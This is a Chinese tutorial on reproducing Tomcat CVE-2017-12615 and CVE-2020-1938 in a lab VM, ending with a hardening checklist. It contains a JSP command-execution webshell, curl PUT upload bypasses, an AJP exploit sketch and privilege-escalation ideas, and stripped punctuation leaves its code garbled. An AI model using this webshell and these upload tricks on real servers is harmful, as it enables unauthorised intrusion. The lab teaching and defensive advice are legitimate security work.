1. 项目概述为什么我们要亲手复现Tomcat漏洞在安全圈里混久了你总会听到一句话“纸上得来终觉浅绝知此事要躬行。” 对于Tomcat这类应用最广泛的Java Web中间件来说尤其如此。我们可能在各种安全报告中看到过“CVE-2017-12615”、“CVE-2020-1938”这样的漏洞编号也了解它们的大致原理是文件上传、反序列化或者AJP协议未授权访问。但如果你没有亲手在靶机上搭建环境、触发漏洞、拿到shell或者读取到敏感文件那么你对这个漏洞的理解就始终隔着一层纱。漏洞复现就是亲手揭开这层纱的过程。它不仅仅是为了完成一个“攻击”动作更深层的价值在于通过逆向攻击者的思路你能以防御者的视角更透彻地理解中间件的运行机制、配置的薄弱环节以及安全策略生效的边界在哪里。今天我们就以Tomcat为靶子抛开那些复杂的自动化工具回归最原始的手工方式一步步拆解几个经典且仍有现实意义的漏洞把原理、环境、操作和踩过的坑都摊开来聊透。2. 环境准备与核心思路解析动手之前先把“战场”布置好。漏洞复现不是漫无目的的瞎试需要一个干净、可控且与漏洞场景匹配的环境。2.1 靶机环境搭建要点我强烈建议使用虚拟机来搭建靶机环境。物理机直接操作风险太高容易误伤自己的开发环境。这里我选择Ubuntu 20.04 LTS作为靶机系统主要是因为它软件源丰富安装配置方便。第一步安装特定版本的Tomcat。这是最关键的一步。漏洞只存在于特定的版本范围内你不能拿一个已经打了补丁的最新版去复现老漏洞。例如我们要复现CVE-2017-12615PUT方法任意文件上传就需要安装Tomcat 7.x系列且版本号小于7.0.81的。我们可以从Apache官网的归档目录下载。# 切换到临时目录下载指定版本的Tomcat cd /tmp wget https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.79/bin/apache-tomcat-7.0.79.tar.gz # 解压到/opt目录 tar -zxvf apache-tomcat-7.0.79.tar.gz -C /opt/ # 重命名以便识别 mv /opt/apache-tomcat-7.0.79 /opt/tomcat7-cve201712615第二步配置Java环境。Tomcat运行依赖JRE。我们需要安装OpenJDK 8因为这个版本与老版Tomcat兼容性最好。sudo apt update sudo apt install openjdk-8-jdk-headless -y # 验证安装 java -version第三步调整Tomcat配置以“引入”漏洞。很多漏洞的触发需要特定的配置。以CVE-2017-12615为例其根源在于conf/web.xml中对默认Servlet的配置。在Tomcat 7.0.79的默认配置中其实已经对PUT方法做了限制。为了复现我们需要“还原”不安全的配置即移除或注释掉对readonly参数设置为true的配置。找到conf/web.xml中关于DefaultServlet的部分确保其配置类似下面这样没有readonly参数或其为falseservlet servlet-namedefault/servlet-name servlet-classorg.apache.catalina.servlets.DefaultServlet/servlet-class init-param param-namedebug/param-name param-value0/param-value /init-param init-param param-namelistings/param-name param-valuefalse/param-value /init-param !-- 关键确保没有 init-paramparam-namereadonly/param-nameparam-valuetrue/param-value/init-param -- load-on-startup1/load-on-startup /servlet注意这是一个非常危险的操作它故意降低了服务器的安全性。请务必仅在隔离的虚拟机或实验环境中进行并在实验结束后恢复配置或销毁环境。第四步启动Tomcat并放行防火墙。cd /opt/tomcat7-cve201712615/bin ./startup.sh # 查看日志确认启动成功 tail -f ../logs/catalina.out如果靶机有防火墙如UFW需要放行8080端口sudo ufw allow 8080。至此一个带有特定漏洞的Tomcat靶机就准备好了。攻击机可以是你的物理机也可以是同一网络下的另一台虚拟机只需要能访问靶机的8080端口即可。2.2 核心复现思路从利用链到防御视角漏洞复现不是简单地运行一个EXP脚本。一个完整的复现过程应该遵循“信息收集 - 漏洞验证 - 漏洞利用 - 权限维持/扩大 - 痕迹清理”的基本链但我们作为学习研究重点在前三步。以文件上传漏洞为例其核心思路是寻找一个允许客户端向服务器写入数据的接口如PUT方法并绕过服务器对文件类型、路径的校验。Tomcat的PUT方法上传漏洞就是利用了Default Servlet在特定配置下允许通过HTTP PUT方法直接上传文件到web目录的特性。而像AJP协议未授权访问CVE-2020-1938又名“幽灵猫”其思路则是Tomcat默认开启的AJP服务端口8009存在配置缺陷允许未经验证的客户端通过该协议读取web应用目录下的任意文件。这跳过了HTTP的访问控制直接利用了Tomcat内部组件间的通信协议。理解这些思路比你记住几个攻击命令更重要。因为当你站在防御方时你会立刻意识到关闭不必要的HTTP方法如PUT、DELETE、检查Default Servlet的readonly配置、将AJP服务绑定到本地或设置强认证、及时升级到安全版本这些才是治本之策。复现漏洞就是为了让你对这些防御措施的必要性感同身受。3. 经典漏洞手工复现全流程实录下面我们选取两个极具代表性的Tomcat漏洞进行详细的手工复现。我会尽量还原每一步操作和背后的思考。3.1 CVE-2017-12615PUT方法任意文件上传漏洞这个漏洞之所以经典是因为它利用方式简单直接影响面广是理解Web服务器文件上传机制的绝佳案例。漏洞原理简述在Tomcat 7.x版本低于7.0.81以及部分8.x9.x早期版本中如果conf/web.xml里的DefaultServlet配置中readonly参数被设置为false或者未设置默认为false那么攻击者就可以通过HTTP PUT方法直接上传文件到服务器。更危险的是如果上传的文件名以.jsp或.jspx结尾Tomcat默认的配置可能会阻止执行。但攻击者可以通过一些技巧绕过比如使用/结尾在Windows上或利用解析差异如test.jsp%20、test.jsp::$DATA等但主要针对Windows而在Linux下最经典的方式是使用双写后缀例如test.jsp/。在某些版本中Tomcat在处理PUT请求时会对请求路径进行规范化normalization将/移除最终文件被保存为test.jsp。手工复现步骤信息收集首先确认靶机Tomcat版本和开放端口。用浏览器访问http://靶机IP:8080看到Tomcat默认页后通常页面底部会显示版本号。或者用nmap扫描nmap -sV -p 8080 靶机IP。探测PUT方法是否可用使用curl命令测试。# 尝试向根目录PUT一个文本文件 curl -X PUT http://靶机IP:8080/test.txt -d hello vuln如果返回HTTP/1.1 201 Created恭喜你PUT方法可用且服务器创建了文件。你可以访问http://靶机IP:8080/test.txt验证。如果返回403或405则说明PUT方法被禁用或readonlytrue漏洞可能不存在或配置未按我们之前的要求修改。尝试上传JSP Webshell这是利用的关键。我们准备一个最简单的JSP后门。% if(123.equals(request.getParameter(pwd))){ java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(cmd)).getInputStream(); int a -1; byte[] b new byte[2048]; out.print(pre); while((ain.read(b))!-1){ out.println(new String(b)); } out.print(/pre); } %这个脚本通过pwd参数验证密码简陋但有效通过cmd参数执行系统命令。我们将它保存为本地文件shell.jsp。绕过限制上传直接PUTshell.jsp大概率会被拦截。我们尝试使用/结尾的技巧。curl -X PUT http://靶机IP:8080/shell.jsp/ --data-binary shell.jsp关键点解析这里使用了--data-binary而不是-d是为了确保JSP代码中的换行、特殊字符被原样传输避免被curl处理。shell.jsp表示从文件读取内容。验证利用结果如果返回201访问http://靶机IP:8080/shell.jsp注意访问时没有/。如果页面空白或没有报404可能成功了。尝试执行命令http://靶机IP:8080/shell.jsp?pwd123cmdid如果成功页面会返回执行id命令的结果如uid1001(tomcat) gid1001(tomcat) groups1001(tomcat)。这表明我们成功上传了Webshell并具有了Tomcat进程的权限通常权限不高但足以读取web目录文件并可能作为跳板进行内网渗透。实操心得与踩坑记录版本与配置是前提我最初用Tomcat 8.5.9复现失败后来才发现这个版本虽然受漏洞影响但其默认的web.xml中DefaultServlet已经配置了readonlytrue。必须手动修改为false或删除该行。所以永远不要假设默认配置就是漏洞配置一定要亲自检查。/结尾技巧的局限性这个技巧在Tomcat 7.0.x的某些版本上有效但在其他版本或系统上可能无效。有时需要尝试shell.jsp%20、shell.jsp.末尾加点等变体。这取决于Tomcat的URI规范化处理逻辑。Webshell的权限通过此漏洞获取的权限是运行Tomcat的用户如tomcat或nobody。这个用户权限有限通常无法直接读/etc/shadow等敏感文件。后续的提权是另一个复杂的课题。防御视角复现成功后立刻去查看靶机的conf/web.xml加上init-paramparam-namereadonly/param-nameparam-valuetrue/param-value/init-param重启Tomcat再用PUT测试返回405。这个对比实验能让你深刻理解这个配置项的安全意义。3.2 CVE-2020-1938AJP协议文件包含/读取漏洞这个漏洞的特别之处在于它不通过常见的HTTP 8080端口而是通过Tomcat用于内部连接、性能更高的AJP协议端口默认8009进行攻击。很多管理员会注意对HTTP端口的防护却忽略了AJP端口。漏洞原理简述Apache Tomcat服务器在配置了AJP连接器Connector时存在缺陷。攻击者能够向AJP服务端口发送特制请求从而读取或包含Web应用目录下的任意文件例如WEB-INF/web.xml其中可能包含数据库密码等敏感信息甚至在某些条件下能实现远程代码执行。其根源在于ajp13协议处理请求属性时对javax.servlet.include.request_uri等属性的校验不严。手工复现步骤文件读取为例由于AJP协议是二进制协议手工构造数据包比较困难。我们通常借助现成的工具但这里为了理解本质我会说明如何用Python脚本基于pajp库发起攻击并解释关键字段。环境确认首先确保靶机Tomcat开启了AJP服务。检查conf/server.xml确认有如下配置且未注释Connector port8009 protocolAJP/1.3 redirectPort8443 /用nmap扫描靶机8009端口nmap -sV -p 8009 靶机IP应显示ajp服务。使用Python脚本进行利用我们需要一个能发送AJP协议包的脚本。以下是一个高度简化的示例用于演示思路# 这是一个概念性示例实际利用脚本更复杂如使用pajp库。 # 实际测试中建议使用成熟的EXP工具如metasploit模块或网上开源的python脚本。 import socket import struct target_ip 靶机IP target_port 8009 # 构建一个简单的AJP Forward Request数据包不完整仅示意 # 实际需要构造完整的AJP协议头、属性等其中在属性中设置 # req_attribute 0x0A (javax.servlet.include.request_uri) 值为 /WEB-INF/web.xml # req_attribute 0x0B (javax.servlet.include.path_info) 值为 # ... 等等 crafted_packet b\x12\x34\x00\x01\x0a\x00... # 这里省略了复杂的二进制构造 sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(crafted_packet) response sock.recv(4096) sock.close() print(response.decode(utf-8, errorsignore))关键点解析攻击的核心是在AJP请求中设置特定的请求属性Request Attributes欺骗Tomcat让它认为当前请求是要包含include/WEB-INF/web.xml这个文件而Tomcat在处理包含请求时没有正确校验该路径是否允许被外部访问导致文件内容被返回。使用现成工具验证对于实际复现我推荐使用网上公开的、成熟的Python EXP脚本例如GitHub上搜索CVE-2020-1938。运行方式通常很简单python2 cve-2020-1938.py 靶机IP -p 8009 -f /WEB-INF/web.xml如果漏洞存在脚本会返回web.xml文件的内容。利用结果分析读取到的WEB-INF/web.xml中可能会发现数据库连接池的配置如resource-authContainer/resource-auth resource-namejdbc/TestDB/resource-name urljdbc:mysql://localhost:3306/test?useSSLfalse/url usernameroot/username passwordMySecretPass123!/password这就构成了严重的敏感信息泄露。更进一步如果Web应用使用了文件上传功能攻击者可能先上传一个恶意JSP文件通过其他漏洞或正常功能然后利用CVE-2020-1938去包含执行这个JSP文件从而实现远程代码执行。实操心得与踩坑记录AJP端口可能不对外开放在真实网络中AJP 8009端口通常用于Tomcat与前端的Apache HTTPD或Nginx通过mod_jk或mod_proxy_ajp进行通信因此它可能只监听在127.0.0.1本地回环上。从外网无法直接访问。复现时需要确保靶机的AJP连接器绑定在0.0.0.0或者攻击机与靶机在同一主机上。检查server.xml中AJP Connector的address属性。工具依赖问题很多EXP脚本基于Python2或特定的老版本库如pajp。在Python3环境下可能无法直接运行需要调整代码或寻找Python3版本的工具。这是复现老漏洞时常见的问题。防御措施非常明确升级升级到Tomcat 7.0.100, 8.5.51, 9.0.31或更高版本。配置如果不需要AJP协议最简单直接的方法是在server.xml中注释掉或删除整个AJP Connector配置块。隔离如果必须使用AJP确保AJP连接器只绑定到内网IPaddress”192.168.1.x”并配合防火墙策略只允许可信的代理服务器如前端的Apache访问该端口。漏洞的变种与影响这个漏洞最初披露是文件读取但后续研究发现了远程代码执行RCE的利用方式危害等级更高。复现时可以从文件读取开始理解其基本原理。4. 漏洞复现中的深度问题排查与技巧即使按照教程操作你也可能会遇到各种问题。下面是我在多次复现中积累的一些排查经验和技巧。4.1 常见失败场景与诊断方法问题现象可能原因排查步骤PUT请求返回403 Forbidden1.readonly参数为true。2. 目标目录没有写权限。3. 可能配置了全局的安全约束。1. 检查conf/web.xml中DefaultServlet的readonly设置。2. 检查Tomcat进程用户对webapps/ROOT目录的权限 (ls -la /opt/tomcat/webapps/)。3. 检查conf/web.xml中是否有security-constraint限制了PUT方法。PUT请求返回404 Not Found请求的路径不对或者对应的Web应用不存在。确保PUT的路径是存在的Web应用上下文路径下例如http://ip:8080/manager/text如果Manager应用存在。对于根目录路径就是/。上传的JSP文件无法访问4041. 文件实际上传失败检查Tomcat日志catalina.out。2. 上传的文件名被修改如末尾的/未被去除。3. JSP引擎编译错误。1. 查看Tomcat日志搜索PUT和文件名看是否有错误信息。2. 直接到服务器webapps/ROOT目录下ls -la查看文件是否真的存在文件名是什么。3. 查看logs/localhost.log看访问JSP时是否有编译错误。AJP漏洞利用脚本连接被拒绝1. 靶机AJP服务未启动。2. 防火墙阻止了8009端口。3. AJP绑定在127.0.0.1。1.netstat -tlnp | grep 8009查看端口监听状态和绑定IP。2. 检查server.xml中AJP Connector的配置和address属性。3. 检查靶机防火墙规则 (sudo ufw status或iptables -L)。工具执行成功但无回显1. 目标文件不存在或路径错误。2. 工具构造的数据包与目标Tomcat版本不兼容。3. 网络中存在WAF或IDS拦截了异常流量。1. 确认Web应用中是否存在WEB-INF/web.xml文件。2. 尝试换用其他版本或不同开发者编写的EXP工具。3. 在简单的隔离网络环境如虚拟机NAT网络中测试排除安全设备干扰。4.2 高级技巧与深入利用利用日志定位问题Tomcat的日志是宝藏。catalina.out记录服务生命周期和严重错误localhost.log记录应用级别的访问和JSP编译错误localhost_access_log.*.txt记录HTTP访问日志。复现失败时第一时间打开catalina.out和localhost.log的tail -f然后触发漏洞观察实时日志输出往往能直接定位问题根源。权限提升的思考通过Webshell拿到的是Tomcat用户权限。如何提权思路包括利用系统内核漏洞在靶机上执行uname -a查看内核版本搜索对应的本地提权EXP如Dirty Cow。注意这在生产环境中是极具破坏性的攻击行为仅在授权的渗透测试或封闭实验环境中进行。寻找敏感配置文件用Webshell遍历目录寻找包含密码的文件如/opt/tomcat/conf/tomcat-users.xml可能包含Manager应用的高权限账号、应用自身的配置文件、~/.bash_history等。利用Tomcat Manager如果Manager应用未被妥善保护弱口令或默认口令你可以直接上传WAR包部署新应用获得更高控制权。复现环境可以故意设置弱口令来体验这一攻击路径。漏洞组合拳真实攻击很少只用一个漏洞。例如先通过一个信息泄露漏洞如目录遍历找到备份的tomcat-users.xml文件获取Manager账号密码。然后登录Manager部署恶意的WAR包后门。复现时可以尝试在同一个靶机上串联多个漏洞模拟完整的攻击链。防御绕过练习在漏洞复现的基础上可以尝试在靶机上实施防御措施如配置readonlytrue、关闭AJP、设置强密码然后再次尝试攻击验证防御是否生效。这种“攻防对抗”练习能极大加深理解。5. 从复现到防御构建安全Tomcat部署清单亲手复现漏洞的最终目的是为了更好地防御。基于以上漏洞的分析我们可以总结出一份Tomcat安全加固的简明清单这不仅仅是 checklist更是理解了漏洞原理后的自然产物。版本与补丁管理强制要求定期关注Apache Tomcat官方安全公告及时升级到稳定版的最新版本。对于不再受支持的老旧大版本如7.0.x应制定计划迁移至受支持的版本如8.5.x或9.0.x。操作订阅Apache Tomcat的邮件列表或使用漏洞情报平台确保漏洞信息能及时触达运维人员。最小化安装与配置删除示例应用部署生产环境前务必删除webapps目录下的docs,examples,host-manager,manager等默认应用除非你明确需要Manager做运维管理。关闭不需要的连接器在conf/server.xml中如果前端没有使用AJP协议例如前端是Nginx通过proxy_pass反向代理HTTP直接注释掉或删除整个AJP Connector配置。这是防止CVE-2020-1938类漏洞最根本的方法。限制HTTP方法在conf/web.xml中security-constraint部分或通过Web应用框架如Spring Security限制不必要的HTTP方法如PUT, DELETE, TRACE, OPTIONS等。关键配置加固设置readonly参数确保conf/web.xml中DefaultServlet的readonly初始化参数设置为true。这是防御任意文件上传漏洞的关键。修改默认错误页Tomcat默认的错误页会泄露版本信息。在conf/server.xml中为每个Connector添加server属性将其值设置为一个无关紧要的字符串如server”Unknown”以隐藏版本信息。强化Manager应用如果必须使用Manager应用务必修改默认的强密码。将Manager应用的访问源IP限制在管理网段。可以通过在context.xml中添加Valve className”org.apache.catalina.valves.RemoteAddrValve” allow”192.168.1.0/24″ /来实现。考虑使用HTTPS并配置客户端证书认证进一步提升安全性。运行环境与权限使用专用低权限用户运行绝对不要以root用户直接运行Tomcat。创建一个专用的系统用户如tomcat并将Tomcat安装目录的所有权赋予该用户同时确保该用户没有不必要的系统权限如sudo权限。文件系统权限控制遵循最小权限原则。tomcat用户只需要对logs,temp,work目录有写权限对webapps目录下的应用目录有写权限用于动态部署时对其他目录如conf,lib,bin应只有读和执行权限。网络与监控防火墙策略使用主机防火墙如iptables, firewalld或网络防火墙严格限制访问Tomcat端口的源IP。8080/80/443端口只对公网用户开放8009端口如果启用只对前端代理服务器开放。启用访问日志确保conf/server.xml中Access Log Valve是启用的并定期分析日志寻找异常访问模式如大量404错误、扫描器特征、对敏感路径的访问尝试等。做完这一整套复现实验再回头看这份清单你会发现每一条建议都不是空泛的安全教条而是对应着一个个可以真实被利用的攻击面。安全配置的价值正是在对抗这些具体的威胁中得以体现。